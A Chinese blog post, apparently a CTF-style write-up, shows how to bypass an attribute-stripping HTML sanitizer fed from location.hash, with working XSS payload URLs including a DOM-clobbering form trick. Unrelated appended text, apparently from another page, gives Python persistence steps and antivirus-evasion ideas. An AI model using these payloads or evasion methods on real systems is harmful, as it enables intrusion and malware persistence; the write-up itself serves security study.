一种错误的代码编写方式下的绕过,和修改后代码的绕过

目录

错误的编码方式下的绕过

绕过例子

修改后

payload构造

dom破坏解法


错误的编码方式下的绕过

    const data = decodeURIComponent(location.hash.substr(1))
    root.innerHTML = data
//遍历root所有子元素,然后删除他们所有属性
    for(let el of root.querySelectorAll('*')){
        for (let attr of el.attributes) {
            el.removeAttribute(attr.name);
        }
    }

上述代码中删除属性时都是在同一个数组中操作,当你删除一个属性后,后面的属性会往前推一个。[a,b,c]当删除a元素后b元素往前推一个成这个样子了[b,c],但是要删除的还是1这个位置的元素,然后就把c删除了,但是b还是保留了下来,所以我们只需要在数组双数的位置进行注入就可以了

绕过例子

file:///D:/%E6%A1%8C%E9%9D%A2/code/01.html/test.html#%3Cimg%20aaa=%222%22%20src=%221%22%20df=%22123%22%20onerror=%22alert(1)%22%3E

修改后的代码的绕过

    const data = decodeURIComponent(location.hash.substr(1))
    root.innerHTML = data
//遍历root所有子元素,然后删除他们所有属性
    for(let el of root.querySelectorAll('*')){
        let attrs = [];
        for (let attr of el.attributes) {
            attrs.push(attr.name);
        }
        for (let name of attrs){
            el.removeAttribute(name);
        }
    }

payload构造

可以用下面代码,下面代码在删除前就会被执行

<svg><svg onload=alert(1)>

dom破坏解法

这个是借助下面这个特性

下面div有一个名为a的属性,然后获取这个属性,div下面又有两个标签id为img,获取id的a属性就会获取两个img标签

现在借助这个特性构造payload

file:///D:/%E6%A1%8C%E9%9D%A2/code/01.html/test.html#%3Cstyle%3E@keyframes%20x{}%3C/style%3E%3Cform%20style=%22animation-name:x%22%20onanimationstart=%22alert(1)%22%3E%3Cinput%20id=attributes%3E%3Cinput%20id=attributes%3E

上面payload中form有两个属性用来触发XSS,然后在这个道题中我们是用el.attrlbutes取值的时候,发现form下面有两个<input id=attribute>标签,然后就把这两个标签取出来了,然后就饶过了form用来xss注入的两个标签完成了注入,form的attribute就是两个input标签

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
首先,需要注意的是,绕过杀软是一种不道德的行为,同时也是违法的。因此,我们不鼓励或支持这种行为。 其次,关于Python自启动,一般有两种方法: 1. 将Python脚本添加到系统的启动项中。这样,每次开机启动时,系统会自动运行这个脚本。具体步骤如下: - 打开“运行”窗口,输入“shell:startup”,打开启动文件夹。 - 右键点击文件夹中的空白处,选择“新建”->“快捷方式”。 - 在“快捷方式”的目标栏中输入“python.exe 脚本路径”,如“C:\Python27\python.exe D:\test.py”。 - 点击“下一步”,输入一个名称,如“test”,点击“完成”即可。 2. 使用Windows任务计划程序。这样,可以设置脚本在指定的时间自动运行。具体步骤如下: - 打开“控制面板”->“管理工具”->“任务计划程序”。 - 在任务计划程序中,右键点击“任务计划程序库”,选择“创建任务”。 - 在“常规”选项卡中,输入一个名称和描述,选择“不管用户是否登录都要运行”,勾选“使用最高权限运行”。 - 在“触发器”选项卡中,选择“新建”,设置计划的触发条件,如每天、每周等。 - 在“操作”选项卡中,选择“新建”,设置操作为“启动程序”,输入“python.exe 脚本路径”。 - 点击“确定”保存任务。 对于绕过杀软的过程,一般有以下几种方法: 1. 使用FUD(Fully Undetectable)技术,将病毒代码加密或混淆,使其难以被杀软检测到。 2. 使用虚拟机或沙箱环境,在其中运行病毒代码,以避免被杀软检测。 3. 修改病毒代码,使其不再具有病毒行为,从而不被杀软检测到。 4. 手动编写病毒代码,使用未被杀软识别的技术和方法。 需要注意的是,这些方法都存在风险和不道德性质,因此不应该轻易尝试。同时,杀软的主要目的是保护用户安全,因此绕过杀软的行为也可能会对用户造成风险和危害。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值